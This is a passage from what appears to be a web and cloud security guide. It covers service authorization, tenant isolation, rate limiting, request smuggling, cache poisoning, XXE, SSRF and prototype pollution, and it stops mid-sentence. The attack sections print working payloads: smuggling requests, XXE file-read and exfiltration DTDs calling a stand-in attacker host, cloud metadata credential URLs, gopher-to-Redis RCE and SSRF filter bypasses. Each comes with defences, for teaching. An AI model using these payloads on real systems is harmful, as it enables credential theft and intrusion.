   [ ] Keep exchanged tokens SHORT-LIVED (seconds) -- they only need to
       survive one hop.
   [ ] Optionally enforce `may_act` -- the subject token can carry
       "who is allowed to act on my behalf"; the STS checks the actor is
       in it.

Deployment patterns:

   PHANTOM TOKEN   the public client holds an OPAQUE reference token. The
     gateway calls the IdP's introspection endpoint, gets the real signed
     JWT, and forwards THAT internally (never to the public internet).
     Downstream services do token exchange from there. Keeps real tokens
     off the client.
   SPLIT TOKEN     the gateway keeps the signature; the client holds
     header.payload; the gateway recombines. Similar goal.
   MESH + TOKEN EXCHANGE   the mesh gives you service identity (mTLS,
     Ch 23); an in-cluster STS (Keycloak, a small service, or your IdP)
     does the exchange; sidecars can be configured to call it.
   OBO (on-behalf-of)   Microsoft's name for essentially the same
     middle-tier exchange flow.

mTLS vs token — you use both: the mTLS/SPIFFE layer authenticates the service connection and does coarse "may A talk to B". The exchanged token carries the user context and the delegation chain for per-user, per-request authz and audit.

How it works

The evolution:

   HARD-CODED CHECKS          if (user.role == "admin" || user.id ==
                              resource.owner_id) ...
     scattered across N services, N languages, subtly inconsistent, no
     central view of "who can do what", every policy change is a deploy.

   RBAC                       roles -> permissions; users -> roles.
     good for coarse, stable structures. Struggles with: ownership
     ("only the creator"), hierarchy ("folder -> doc"), sharing
     ("Anne shared this with Bob"), relationships ("a project's members"),
     conditions ("only during business hours", "only from the corp
     network"). Leads to role explosion.

   ABAC (attribute-based)     policy over attributes of principal,
     action, resource, and context.
       permit if principal.department == resource.department
               and context.time in businessHours
               and resource.classification <= principal.clearance
     flexible; can be hard to answer "who can access X?" and to audit
     ("why was this allowed?"). Cedar and OPA/Rego do this well.

   ReBAC (relationship-based) / ZANZIBAR   authorization as a graph of
     RELATIONSHIP TUPLES:  object#relation@subject
       doc:readme#owner@user:anne
       doc:readme#viewer@group:eng#member      (a "userset" -- everyone
                                                who is a member of eng)
       folder:root#viewer@user:bob
       doc:readme#parent@folder:root
     A SCHEMA defines relations and "rewrites":
       - `viewer` of a doc = direct viewers UNION editors UNION
         (viewers of its parent folder)
     A CHECK("can user:bob view doc:readme?") walks the graph.
     Strengths: models sharing/hierarchy/ownership/groups NATURALLY;
     answers "who can view X?" (expand) and "what can Anne view?"
     (list-objects) directly; the tuple store is the single source of
     truth. This is how Google (Drive, etc.), GitHub, and many SaaS do
     fine-grained authz.
     Implementations: OpenFGA (CNCF), SpiceDB (Authzed), Ory Keto,
     Warrant, Aserto.

   POLICY-AS-DATA + ENGINE    Cedar (AWS Verified Permissions), OPA/Rego
     -- ship a policy bundle + an entity/data store to a PDP; evaluate
     locally or as a service.

The PDP / PEP model (XACML terminology, still the reference):

   PEP  Policy Enforcement Point  -- in each service; intercepts the
        request, builds an authz query, calls the PDP, enforces the
        decision.
   PDP  Policy Decision Point     -- evaluates the policy + data, returns
        permit/deny (+ obligations).
   PIP  Policy Information Point  -- supplies attributes/relationships the
        PDP needs (a directory, the tuple store, the request context).
   PAP  Policy Administration Point -- where policies/tuples are authored,
        reviewed, versioned.

   EMBEDDED PDP (a library / sidecar, e.g. OPA sidecar, OpenFGA SDK with a
   local cache, Cedar library):
     + low latency, no network hop per check, survives PDP outage
     - policy/data distribution + freshness is on you
   CENTRAL PDP (a service):
     + one source of truth, easy to update, consistent
     - a network hop per check (cache it), a dependency to make HA
   Common answer: central store of truth (tuples/policy) + a
   locally-cached embedded evaluator + a change feed for invalidation.

The hard parts (this is why authz is a project, not an afternoon):

   CONSISTENCY / "new enemy"    Anne removes Bob's access, then posts a
     secret. A stale cache lets Bob still read it. Zanzibar solves this
     with "zookies"/"zedtokens" -- a token capturing a revision, passed
     from the write to subsequent checks so they're at-least-as-fresh.
   LIST / FILTER               "show me the docs Anne can see" must not be
     "fetch all docs, check each" (N+1, and it leaks counts via timing).
     Use the engine's list-objects / reverse-index.
   LATENCY BUDGET              a check on every request, sometimes many per
     request. Cache aggressively; batch checks; co-locate the evaluator.
   DATA SYNC                   the authz model needs relationship data
     (who owns what, group membership, org hierarchy) kept in sync with
     the app's source of truth -> events, not nightly jobs.
   DEFENSE IN DEPTH            check at the edge/gateway (coarse, fail
     fast) AND in each service (authoritative, object-level) AND in the
     data layer (RLS / per-tenant keys, Ch 27). One missed PEP shouldn't
     be a breach.
   MIGRATION                   moving from scattered `if`s to a model is
     incremental: shadow-mode the PDP (log what it *would* decide vs the
     legacy check), reconcile, then switch enforcement.

How it works

Internal HTTP/gRPC APIs — the rules:

   [ ] mTLS on every internal call (SPIFFE, Ch 23). "It's internal" is not
       authentication.
   [ ] Every request carries an audience-scoped token (Ch 24); every
       service validates it (sig, iss, exp, AUD == self) and derives
       identity from it -- never from a header.
   [ ] Authorize every request against the model (Ch 25), at object level.
   [ ] NetworkPolicy default-deny (Ch 19) so a service is only reachable
       by its actual callers -- defense in depth if the mesh sidecar is
       bypassed.
   [ ] Internal endpoints are STILL endpoints: input validation, rate
       limits (Ch 28), no debug/admin routes reachable without auth, no
       verbose errors, no "internal" APIs that skip authz because "only
       our services call them".
   [ ] No "trusted subnet" that bypasses any of the above.

gRPC specifics:

   - CHANNEL credentials (TLS/mTLS) authenticate the connection; CALL
     credentials (a token in metadata, e.g. `authorization: Bearer ...`)
     authenticate the request. Use both.
   - INTERCEPTORS (server + client) are where you do authn/authz/logging
     centrally -- don't scatter checks in handlers.
   - DISABLE server reflection in production (it dumps your whole API
     surface to anyone who can connect).
   - Set limits: `MaxRecvMsgSize` / `MaxSendMsgSize` (default 4MB -- a
     huge message is a memory DoS), max concurrent streams, keepalive
     enforcement (reject abusive keepalive pings), connection age limits.
   - Metadata is attacker-influenced on ingress -- treat `x-*` headers
     from outside the trust boundary as untrusted; strip/normalize at the
     edge.
   - gRPC-Web / JSON transcoding at the edge: the same authz applies; don't
     let the transcoder bypass interceptors.
   - Deadlines/timeouts propagate via context -- set them (Ch 28); an
     unbounded call chains into a cascading hang.

Message queues and event streams (Kafka as the example; SQS/SNS/PubSub/ RabbitMQ analogous):

   TRANSPORT & AUTHN
     - TLS between clients and brokers (and inter-broker).
     - Client auth: mTLS, or SASL (SCRAM / OAUTHBEARER / GSSAPI). Not
       SASL/PLAIN over anything but TLS, ideally not at all.
   AUTHZ
     - Broker ACLs: per-topic READ/WRITE/DESCRIBE, per consumer GROUP,
       per TRANSACTIONAL-ID. Principle of least privilege: `orders-api`
       WRITES `orders.events`, `fulfillment` READS it, nobody else.
     - Multi-tenant: topic-name convention `t.<tenantId>.orders` + ACLs
       per tenant principal, OR a single topic with tenant_id in the
       event + consumer-side filtering (weaker -- a bug reads all tenants;
       prefer topic/prefix isolation + ACLs).
   DATA
     - Encrypt broker storage at rest (disk / per-topic if supported).
     - PII in events: minimize; consider field-level encryption (Part 7)
       so a consumer without the key gets ciphertext.
   EVENT AUTHENTICITY
     - A consumer should be able to trust an event's origin. Options:
       (a) rely on transport (mTLS + ACLs + broker trust) -- fine within
           one trust domain;
       (b) SIGN the event payload (producer signs with its key / SPIFFE
           JWT-SVID as an envelope) so authenticity survives replication,
           mirroring, tiered storage, and a compromised broker.
   REPLAY & POISON
     - Idempotency: every event has a stable ID; consumers dedupe.
     - Ordering/monotonicity where it matters (per-key sequence).
     - POISON MESSAGES / DLQs: a malformed or malicious event that a
       consumer can't process lands in a dead-letter queue -- which is
       often readable by MORE people and RETAINED LONGER than the main
       topic. Treat the DLQ as sensitive; scrub PII; alert on DLQ growth.
     - Message attributes / headers are an injection vector (a consumer
       that logs or `eval`s them, or uses them in a query) -- validate.
   SCHEMA
     - A schema registry with auth; validate on produce AND consume;
       schema evolution rules; a rogue producer shouldn't be able to
       register an incompatible schema.

The "internal API that skipped authz" anti-pattern: the single most common east-west finding. orders-api exposes /internal/orders/{id} with no auth "because only fulfillment calls it" — then an SSRF, a mislabeled NetworkPolicy, a test tool, or a compromised neighbour calls it directly and reads any order. Every internal endpoint gets identity + authz.

How it works

The isolation models (per data store):

   SILO   one database/schema/bucket/index PER TENANT.
     + strongest isolation; noisy-neighbour contained; per-tenant
       backup/restore/erasure/keys are trivial.
     - cost and operational overhead scale with tenant count; migrations
       run N times.
     good for: few, large, high-value/regulated tenants.
   POOL   one shared store; every row/document/object tagged with
     tenant_id; isolation enforced by the store.
     + cheapest, one migration, efficient.
     - a single missing filter = cross-tenant leak. Requires DISCIPLINE +
       structural enforcement (below).
     good for: many small tenants.
   BRIDGE  shared instance, schema/namespace per tenant. Middle ground.
   Most SaaS is POOL with a path to SILO for enterprise tenants.

Making POOL isolation structural — PostgreSQL Row-Level Security:

   ALTER TABLE orders ENABLE ROW LEVEL SECURITY;
   ALTER TABLE orders FORCE ROW LEVEL SECURITY;   -- applies even to the
                                                 -- table owner
   CREATE POLICY tenant_isolation ON orders
     USING      (tenant_id = current_setting('app.tenant_id')::uuid)
     WITH CHECK (tenant_id = current_setting('app.tenant_id')::uuid);

   The app's DB role:
     - is NOT a superuser, NOT the table owner (or rely on FORCE), and
       does NOT have BYPASSRLS.
   Per request, the connection pool runs, inside the transaction:
     SET LOCAL app.tenant_id = '<uuid from the validated token/claim>';
   Now EVERY query -- SELECT, UPDATE, DELETE, even ones that forgot a
   WHERE -- is implicitly and mandatorily tenant-scoped. A SQL injection
   that reaches the query is still confined to the current tenant.

   CONNECTION-POOL GOTCHA: pooled connections carry session state. Use
   `SET LOCAL` inside an explicit transaction (scoped to it), or a pooler
   in transaction mode, or a "reset on checkout" hook. NEVER `SET` without
   `LOCAL` on a pooled connection -- the setting leaks to the next
   request/tenant.

Per-tenant encryption as a second layer (Part 7 Ch 42/44):

   PII columns are encrypted (AES-GCM) with a per-tenant DEK wrapped by a
   per-tenant KMS CMK. Even a full RLS bypass (a superuser query, a
   snapshot exfil) yields CIPHERTEXT for another tenant's PII, because
   the attacker's context can't call kms:Decrypt on that tenant's key
   (Part 2 Ch 9). And offboarding = crypto-shred that tenant's CMK
   (Ch 46).

Every other data store needs its own tenant scoping:

   SEARCH (OpenSearch/Elastic)
     - index-per-tenant, OR a shared index with a MANDATORY tenant filter
       injected by the query service (never from the client) + optional
       document-level security. Aliases per tenant. Reindex/erasure per
       tenant.
   CACHE (Redis)
     - key prefix `t:<tenantId>:...` (and assert it in a wrapper), OR a
       logical DB per tenant, OR separate instances for big tenants. A
       key collision or a prefix bug = serving tenant A's cached data to
       tenant B. Also: don't cache authz decisions without tenant in the
       key + short TTL + invalidation.
   OBJECT STORAGE (S3/GCS)
     - prefix-per-tenant with IAM/bucket-policy CONDITIONS (
       `s3:prefix`, a session tag), OR bucket-per-tenant, OR per-tenant
       KMS key on the objects. Presigned URLs scoped to the tenant prefix
       and short-lived.
   EVENTS (Ch 26)
     - topic/prefix per tenant + ACLs, or tenant_id stamped from context
       on produce + filtered on consume.
   ANALYTICS / DATA WAREHOUSE
     - tenant_id preserved end to end; row/column security in the
       warehouse; BI tools that can't cross tenants; de-identify where
       possible (Part 7 Ch 45).
   LOGS / TRACES / ERROR TRACKING
     - tenant_id as a structured field; access to logs scoped; PII
       redacted (a stack trace with another tenant's data is a leak).
   BACKUPS / SNAPSHOTS
     - encrypted with keys you control; restore path can't mix tenants;
       per-tenant point-in-time restore for SILO, careful extraction for
       POOL.

The cross-tenant leak class — where the missing filter hides:

   a NEW endpoint       a background JOB / cron        an EXPORT / report
   an ADMIN tool        a CACHE key                    a SEARCH query
   an EVENT consumer    a LOG line / error message     a WEBHOOK payload
   an ANALYTICS pipe    an LLM prompt / RAG context    a "health" endpoint
   a GraphQL resolver   an autocomplete / typeahead    a metrics label

   DEFENSE:
     - structural scoping (RLS, per-tenant creds/keys/indices/prefixes)
       so there is no filter to forget in the common path.
     - a test suite that, for EVERY read path, runs "as tenant B" and
       asserts zero tenant-A rows/docs/objects/events.
     - CANARY TENANTS with known sentinel records; alert if a sentinel is
       ever returned to the wrong context or appears in the wrong log.
     - a "tenant context" that is set once, early, from the verified
       claim, and is required (a missing context is a hard error, not
       "return everything").

How it works

Rate limiting (throttle request rate):

   ALGORITHMS   token bucket (burst + steady rate), sliding-window
                counter/log, fixed window (simple, boundary spikes),
                leaky bucket.
   DIMENSIONS   per IP, per user, per TENANT, per API key, per endpoint,
                per (user x endpoint). Layer them -- a per-IP limit
                doesn't help against a distributed attack; a per-tenant
                limit does.
   WHERE        edge/CDN (volumetric), API gateway (per-key/route),
                a shared service (Envoy ratelimit, a Redis-backed
                limiter) for DISTRIBUTED limits across replicas, and a
                local in-process limiter as a cheap backstop.
   FAILURE MODE if the limiter (Redis) is down: fail-open (availability,
                but a DoS window) or fail-closed (protected, but you just
                DoS'd yourself)? Decide PER ENDPOINT -- login/OTP/password-
                reset lean toward a conservative local limit that works
                without the shared store; read APIs lean fail-open with an
                alert.
   RESPONSE     429 with `Retry-After`; don't do expensive work before
                rejecting; log for detection (credential stuffing shows up
                here, Ch 54).

Quotas (cap total consumption):

   Per tenant: requests/day, storage GB, compute-seconds, egress GB,
   emails/day, seats, API calls/month. Enforced at the gateway / a
   metering service.
   Purpose: a compromised or abusive tenant can't consume the whole
   platform's capacity OR run up an unbounded bill (DENIAL OF WALLET --
   the cloud-era DoS: the service stays up, the invoice doesn't).
   Pair with autoscaling MAX limits and cost-anomaly alerts.

Timeouts, retries, circuit breakers, bulkheads (stop cascading failure):

   TIMEOUTS       on every network call: connect, request, and per-
     dependency, propagated via context/deadline. No unbounded waits. A
     slow dependency must not pin all your worker threads.
   RETRIES        bounded (2-3), exponential backoff + JITTER, a RETRY
     BUDGET (cap retries as a fraction of total traffic -- prevents a
     retry storm amplifying an outage), only for idempotent ops / safe
     status codes, with an idempotency key.
   CIRCUIT BREAKER  after N consecutive failures to a dependency, OPEN the
     circuit (fail fast, don't call it) for a cool-down, then HALF-OPEN
     (probe). Stops you hammering a struggling service and turning its
     blip into your outage.
   BULKHEADS      separate resource pools (threads, connections) per
     dependency and/or per tenant, so one exhausting its pool doesn't
     starve the others.
   LOAD SHEDDING / BACKPRESSURE  when overloaded, reject early (429/503)
     and cheaply, ideally shedding low-priority traffic first (health
     checks and paying customers before batch/anonymous). Admission
     control at the front door.
   QUEUE-BASED LOAD LEVELLING  put a queue between spiky ingestion and
     capacity-bound processing; the queue absorbs bursts, workers pull at
     a sustainable rate (watch queue depth as a signal).

Algorithmic-complexity and resource-exhaustion inputs (cheap request, huge cost):

   ReDoS            catastrophic backtracking regex on attacker input
     (`(a+)+$`). -> use linear-time engines (RE2, Rust regex), timeouts,
     input length caps, review user-supplied or config regexes.
   Hash flooding    crafted keys colliding in a hash map -> O(n^2). -> use
     SipHash-keyed maps (most modern runtimes do), cap collection sizes.
   Decompression bombs  a 1KB zip/gzip/brotli that expands to 10GB;
     "billion laughs" XML entity expansion (Part 6 Ch 32). -> limits on
     decompressed size and ratio; disable entity expansion.
   Large/nested payloads  deep JSON, huge arrays, giant multipart, a 4MB+
     gRPC message. -> max body size, max depth, max fields/array length,
     streaming parsers.
   GraphQL           deeply nested / aliased / batched queries. -> query
     depth + complexity limits, cost analysis, persisted queries,
     disable batching or cap it (Part 6).
   Expensive-by-input  a search with wildcards, an unbounded date range, a
     report over all history, a pathological pagination. -> mandatory
     bounds, result caps, async for big jobs, per-query cost budgets.
   Amplification    one request fans out to many downstream calls / rows.
     -> cap fan-out; batch; paginate internally.

Resilience testing: chaos/fault injection (latency, errors, dependency kill) in staging; load tests that include abusive shapes; a "game day" that exercises the circuit breakers and load shedding for real.

How it works

The classic ambiguity: Content-Length vs Transfer-Encoding. A request can declare its body length two ways. If a front-end honours one and the back-end the other, bytes "leak" past the boundary.

   CL.TE  -- front-end uses Content-Length, back-end uses Transfer-Encoding:
     POST / HTTP/1.1
     Host: victim
     Content-Length: 6
     Transfer-Encoding: chunked

     0

     G
   Front-end: body is 6 bytes ("0\r\n\r\nG"), forwards the whole thing.
   Back-end: chunked; "0\r\n\r\n" ends the request; "G" is left in the
     buffer and PREPENDED to the next request on that connection ->
     "GPOST / HTTP/1.1 ..." (a broken method for the victim), or a fuller
     payload smuggles a complete request.

   TE.CL  -- front-end uses TE, back-end uses CL: mirror image, chunk-size
     line games.

   TE.TE  -- both do TE, but one is tricked into NOT processing it via
     obfuscation:
       Transfer-Encoding : chunked          (space before colon)
       Transfer-Encoding: xchunked
       Transfer-Encoding:\tchunked
       Transfer-Encoding\n : chunked
       (two TE headers, one valid one junk)

HTTP/2 makes it worse via downgrade. HTTP/2 has an unambiguous, explicit length — so h2-to-h2 is safe. But a front-end that speaks h2 to the client and downgrades to h1 for the back-end must synthesise Content-Length/TE, and:

   H2.CL / H2.TE   the h2 request declares one length; the front-end
     rewrites to h1 with a conflicting CL or an injected TE that the
     back-end honours.
   H2 CRLF INJECTION   h2 header names/values can contain bytes that,
     when serialised to h1, become "\r\n" -> the attacker injects entire
     headers or a request line -> request splitting.
   H2 request smuggling via header-name/pseudo-header abuse.

Client-side desync (James Kettle, 2022): the browser itself is the smuggling engine. A malicious page makes a fetch() whose body is left straddling the connection boundary; the next request the browser sends on that reused connection is poisoned — no back-end proxy required, and it works against the victim's own authenticated session.

Impact:

   - bypass front-end controls: smuggle a request to /admin past a WAF /
     auth proxy that only inspected the outer request.
   - capture other users' requests: smuggle a request whose body is a
     large parameter; the victim's following request gets appended into
     that parameter and (if the app stores/reflects it) you read their
     headers, cookies, CSRF tokens.
   - response queue poisoning: desync the response stream so User B gets
     User A's response (or your injected one) -> mass credential/session
     theft, cache poisoning (Ch 31).
   - forced browser cache poisoning / persistent XSS via the above.

Detection: timing probes (a partial smuggled request makes the next request hang for the socket timeout — a reliable differential), and differential responses. Tools: Burp HTTP Request Smuggler extension, smuggler.py, h2csmuggler, Burp's "Turbo Intruder" for the concurrency.

How it works

Cache poisoning:

   1. Find an UNKEYED input that affects the response. Common ones:
        X-Forwarded-Host / X-Host / X-Forwarded-Server  -> reflected into
          an absolute URL (a <script src>, a redirect, a link, an og:url).
        X-Forwarded-Scheme / X-Forwarded-Proto -> http -> redirect loop /
          downgrade / cached redirect to attacker.
        X-Forwarded-For, User-Agent, Accept-Language, a cookie, an
          obscure query param, a "fat GET" body.
        (Find them with Burp Param Miner: "guess headers"/"guess params".)
   2. Send a request with your key (the normal URL) + a malicious value in
      the unkeyed input:
        GET /en/ HTTP/1.1
        Host: shop.securesh.op
        X-Forwarded-Host: evil.attacker.net
      Response reflects it:
        <script src="//evil.attacker.net/a.js"></script>
      The cache stores this under key (GET, shop.securesh.op, /en/).
   3. Every subsequent visitor to /en/ gets your script. Persistent,
      widespread XSS / defacement / redirect, until the cache entry
      expires or is purged.

   Variants: cache-key normalisation flaws (`/en?x=1` vs `/en?x=1&`),
   parameter cloaking (`;`), keyed-param injection, cache-key injection
   via encoded chars, "cache poisoning via header injection" chained with
   Ch 30 smuggling (poison the shared cache with a smuggled response).

Cache deception:

   The app routes on the PATH loosely; the cache decides "cacheable" from
   the EXTENSION or a static path prefix. Discrepancy -> cache a private
   page.

   Attacker sends the victim (or the victim's browser follows) :
     https://shop.securesh.op/account/profile/nonexistent.css
   - The app (path handling / a permissive router / path parameters):
     serves /account/profile for the LOGGED-IN victim.
   - The CDN: "ends in .css -> static -> cache it" (or "/static/..." after
     path normalisation differences, or a `;` path param, or an encoded
     `%2f`).
   - The attacker then requests the same URL (unauthenticated) and gets
     the CACHED copy of the VICTIM'S profile page -- names, emails,
     tokens, CSRF secrets.

   2024 research (PortSwigger, "Gotta cache 'em all") expanded this with
   path-normalisation and delimiter discrepancies between many CDN/origin
   pairs.

Defence:

   [ ] Do NOT cache responses that depend on unkeyed input. Either include
       the input in the cache key, or strip it before it reaches the app,
       or set `Cache-Control: no-store` / `private` on affected responses.
   [ ] Authenticated / personalised responses: `Cache-Control: private,
       no-store`; never cache anything with `Set-Cookie` or `Authorization`
       in the request.
   [ ] Don't derive cacheability from the file extension. Cache only
       explicitly-marked static assets, ideally on a SEPARATE hostname
       (static.securesh.op) that serves nothing dynamic and no cookies.
   [ ] NORMALISE paths identically at the cache and the origin (encoded
       slashes, dot segments, trailing chars, path parameters, `;`). Test
       the specific CDN+origin pair.
   [ ] Don't reflect request headers (esp. Host / X-Forwarded-*) into
       response bodies or headers. Build absolute URLs from configured
       values.
   [ ] Vary: on any header that legitimately changes a cacheable response
       (and accept the reduced hit rate).
   [ ] Monitor: alert on cache entries serving unexpected external script
       origins / redirects.

How it works

Basic XXE (in-band file read):

   <?xml version="1.0"?>
   <!DOCTYPE r [ <!ENTITY x SYSTEM "file:///etc/passwd"> ]>
   <r>&x;</r>
   -> the response reflects the file contents where <r> is rendered.

Variants:

   SSRF via XXE      <!ENTITY x SYSTEM "http://169.254.169.254/latest/
                       meta-data/">   -> hit internal services / metadata
                       (subject to Ch 33 header requirements).
   PHP wrappers      <!ENTITY x SYSTEM "php://filter/convert.base64-encode/
                       resource=/var/www/config.php">   -> source disclosure
                       <!ENTITY x SYSTEM "expect://id">  -> RCE (if expect
                       module loaded).
   BLIND / OOB       no reflection. Use PARAMETER ENTITIES + an external
                     DTD you host:
       payload:  <!DOCTYPE r [ <!ENTITY % p SYSTEM
                   "http://attacker/evil.dtd"> %p; ]>
       evil.dtd: <!ENTITY % f SYSTEM "file:///etc/hostname">
                 <!ENTITY % w "<!ENTITY exfil SYSTEM
                    'http://attacker/?d=%f;'>">
                 %w;  %exfil;
     -> the file contents come back to you as a query string.
   ERROR-BASED BLIND  craft a DTD that forces a parser error message
                      CONTAINING the file contents.
   XInclude          when you can't set the DOCTYPE but you CAN inject into
                     an element the server wraps in XML:
       <x xmlns:xi="http://www.w3.org/2001/XInclude">
         <xi:include parse="text" href="file:///etc/passwd"/></x>
   DoS               "billion laughs": nested entities expanding
                     exponentially -> memory exhaustion (Ch 28).

Where XML hides (all are XXE sinks if the parser is unsafe):

   SAML responses (Ch 39)          SOAP / WSDL / XML-RPC
   DOCX / XLSX / PPTX (ZIP of XML) ODF documents
   SVG uploads (Ch 38)            RSS / Atom feeds, OPML
   XML sitemaps, config uploads    SVG in PDFs
   .xml APIs, XML in a JSON field  Android/iOS plist, .NET config
   XMP metadata in images         Excel / Google Sheets import

Defence — disable DTDs, per language:

   Java (JAXP/DOM/SAX/StAX):
     dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl",
       true);
     dbf.setFeature("http://xml.org/sax/features/external-general-entities",
       false);
     dbf.setFeature("http://xml.org/sax/features/external-parameter-
       entities", false);
     dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false);
     (or XMLConstants.FEATURE_SECURE_PROCESSING + ACCESS_EXTERNAL_DTD="")
   Python:  use `defusedxml` (drop-in for ElementTree/minidom/lxml/etc.).
     lxml: `etree.XMLParser(resolve_entities=False, no_network=True,
       dtd_validation=False, load_dtd=False)`.
   .NET:  `XmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit,
     XmlResolver = null }`. (Modern .NET defaults are safe; legacy
     XmlDocument was not.)
   PHP (libxml):  since libxml 2.9 external entities are off by default;
     do NOT call `libxml_disable_entity_loader(false)`; avoid
     `LIBXML_NOENT`. For DOMDocument, don't enable network/DTD.
   Go:  `encoding/xml` doesn't resolve external entities -- safe by
     default; watch third-party XML libs.
   Node:  `libxmljs`/`node-libxml` -- pass `noent: false`, `nonet: true`;
     prefer `fast-xml-parser` (no entity resolution).
   General:  prefer JSON. Parse in a process with NO outbound network
   (kills blind OOB) and least file privileges. Don't reflect parser
   output. Reject documents with a DOCTYPE if you don't need one.

How it works

Cloud metadata (the highest-value target):

   AWS   http://169.254.169.254/latest/meta-data/iam/security-credentials/
         <role>   -> temp creds.
         IMDSv1: plain GET -> naive SSRF works.
         IMDSv2: needs a PUT to /latest/api/token with a header, then a
         GET with the token header -> naive SSRF (URL only, no header
         control, no PUT) is BLOCKED. But: SSRF where you control the
         method+headers, an HTTP-proxy SSRF, or gopher:// still work; and
         hop-limit>1 lets a container reach it.
   GCP   http://metadata.google.internal/computeMetadata/v1/instance/
         service-accounts/default/token  -- requires header
         `Metadata-Flavor: Google` -> needs header control.
   Azure http://169.254.169.254/metadata/identity/oauth2/token?...&resource=
         https://management.azure.com/  -- requires header `Metadata: true`.
   Also: Alibaba, DigitalOcean, Oracle, Hetzner variants; Kubernetes API
   (https://kubernetes.default), kubelet :10250, etcd, internal admin
   panels, Spring Boot /actuator, Consul, Docker API, Elasticsearch,
   Redis, Jenkins.

Protocol smuggling (SSRF -> RCE):

   gopher://  craft raw bytes to any TCP service:
     - Redis: `gopher://127.0.0.1:6379/_SET%20...` -> write a cron job,
       load a malicious module, or dump an RDB webshell -> RCE.
     - internal HTTP: send a full POST with headers/body to an internal
       API that trusts the network.
     - SMTP: send mail from the server; FastCGI/PHP-FPM -> RCE;
       memcached, MySQL (limited), LDAP.
   dict://   probe services, leak banners.
   file://   local file read (if the client follows it).
   Java: jar://, netdoc://, and http(s) with automatic redirect following.
   PHP: php://, phar:// (deserialization, Ch 37).

Filter bypasses:

   IP ENCODINGS of 127.0.0.1:  2130706433 (decimal), 0x7f000001 (hex),
     0177.0.0.1 (octal), 127.1, 127.0.1, 0, [::1], [::ffff:127.0.0.1],
     [0:0:0:0:0:ffff:7f00:1], mixed (0x7f.1).
   OF 169.254.169.254: 0xa9fea9fe, 2852039166, 025177524776, etc.
   HOSTNAME TRICKS:  http://localtest.me, *.nip.io / *.sslip.io (wildcard
     DNS -> any IP incl. 127.0.0.1), a domain you control with an A record
     pointing internal, http://spoofed.attacker.com (A -> 169.254.169.254).
   URL PARSER CONFUSION:  http://allowed.com@evil.com/,
     http://evil.com#allowed.com, http://evil.com\@allowed.com,
     http://allowed.com%2f..%2f@evil.com, missing scheme, `//host`,
     uppercase, trailing dot `allowed.com.`, extra `:` , CRLF in the URL
     -> header injection in the outbound request.
   OPEN REDIRECT CHAIN:  SSRF fetches an ALLOWED url that 302s to
     http://169.254.169.254/... -- if redirects aren't re-validated.
   DNS REBINDING (the important one):  attacker DNS returns an ALLOWED IP
     for the validation lookup, then 127.0.0.1 / 169.254.169.254 for the
     connection lookup (TTL 0). TOCTOU between "validate the hostname" and
     "connect". Defeats any check that resolves twice.

Blind SSRF exploitation: use an OAST/collaborator server, timing, and error differentials. Even blind, you can: confirm internal hosts/ports (timing), hit state-changing internal endpoints, trigger internal webhooks, and exfil via a redirect-to-your-server or DNS.

Second-order / stored SSRF: a URL saved now (a profile "website", a webhook target, an avatar URL, an SSO metadata URL) and fetched later by a backend job running in a more privileged network position.

The defence that holds:

   [ ] Don't build a URL fetcher unless you must. If you do:
   [ ] ALLOWLIST destination hosts AND schemes (https only). Deny by
       default.
   [ ] Resolve the hostname YOURSELF. Get ALL A/AAAA records. Reject if
       ANY resolved IP is in: loopback, RFC1918, link-local
       (169.254.0.0/16, fe80::/10), CGNAT (100.64/10), multicast,
       0.0.0.0/8, ::/128, IPv4-mapped IPv6, your own cloud/VPC ranges,
       the metadata IP.
   [ ] Then CONNECT TO THAT VALIDATED IP DIRECTLY, setting the Host header
       to the intended hostname -> the connection can't be rebound
       between validate and connect.
   [ ] Disable redirects, or re-run the full validation on every hop.
   [ ] Disable non-HTTP(S) schemes at the HTTP client level.
   [ ] Run the fetcher in an ISOLATED subnet: no cloud role attached,
       egress default-deny + FQDN allowlist, can't reach RFC1918 or the
       metadata endpoint at the NETWORK layer (belt and braces).
   [ ] IMDSv2 + hop-limit 1 on every instance.
   [ ] Timeouts, response size caps, no raw response/error passthrough to
       the user.
   Libraries that do most of this: `ssrf-filter` (Node), `advocate`
   (Python), Go's `net.Dialer.Control` hook to reject bad IPs; still add
   the network isolation.

How it works

Prototype pollution:

   In JS, obj.__proto__ === Object.prototype. If an attacker can set a
   property PATH that starts with __proto__ / constructor.prototype, they
   add/override a property on Object.prototype -- which EVERY object
   inherits.

   SOURCES (attacker controls a key path + value):
     - recursive merge/extend/clone: `merge(target, JSON.parse(body))`
       body = {"__proto__": {"isAdmin": true}}
       (historic: lodash.merge/defaultsDeep, jQuery.extend(true,...),
        many "deepmerge" libs, Object.assign used recursively)
     - query-string parsers: `?__proto__[isAdmin]=true` (qs, older
       versions), `?constructor[prototype][x]=y`
     - path-set: `_.set(obj, userControlledPath, value)`
     - config/YAML loaders, `JSON.parse` + a reviver + a later merge

   SERVER-SIDE (Node) IMPACT -- pollute a prop that library code later
   reads off a FRESH object literal that doesn't define it:
     - child_process options: pollute `shell`, `NODE_OPTIONS`, `env`,
       `execArgv` -> when the app spawns anything -> RCE (e.g.
       `NODE_OPTIONS=--require /proc/self/environ` tricks, or
       `execArgv:["--eval","..."]`).
     - template engines: pug/handlebars compile options -> RCE.
     - `Object.prototype.status` / headers / `Object.prototype.then`
       (makes non-promises thenable -> breaks control flow).
     - security flags: `isAdmin`, `authenticated`, feature toggles.
     - DoS: pollute a prop that breaks the app for everyone.

   CLIENT-SIDE IMPACT -- a "gadget": library code does `if (config.debug)`
   / `el[opt.prop]` / `element.innerHTML = tpl[key]` where the key is
   absent -> reads the polluted proto value -> XSS, CSP bypass (pollute a
   nonce/src), open redirect, or DOM-XSS via a sink.

DOM clobbering:

   No script needed. Injected HTML with `id`/`name` attributes creates
   named properties on `document` / `window` / on form elements:
     <a id="config"></a>                 -> window.config is that <a>
     <a id="x"><a id="x" name="y" href="j">  -> window.x is an
        HTMLCollection; x.y is the second anchor; String(x.y) is its href
     <form id="self"><input name="nonce" value="...">  -> shadow
        form.nonce
   If code does `var CFG = window.config || {url:'/safe'}` or
   `if (!window.alreadyRun)` or reads `something.src` expecting undefined,
   the clobbered element changes the logic -> config injection, XSS,
   auth-check bypass. Works wherever HTML injection is possible but
   scripts are filtered (e.g. sanitised rich text that keeps id/name).

Mutation XSS (mXSS):

   A sanitiser (DOMPurify) sees markup, decides it's safe, returns it.
   The app sets `element.innerHTML = sanitised`. The BROWSER'S PARSER then
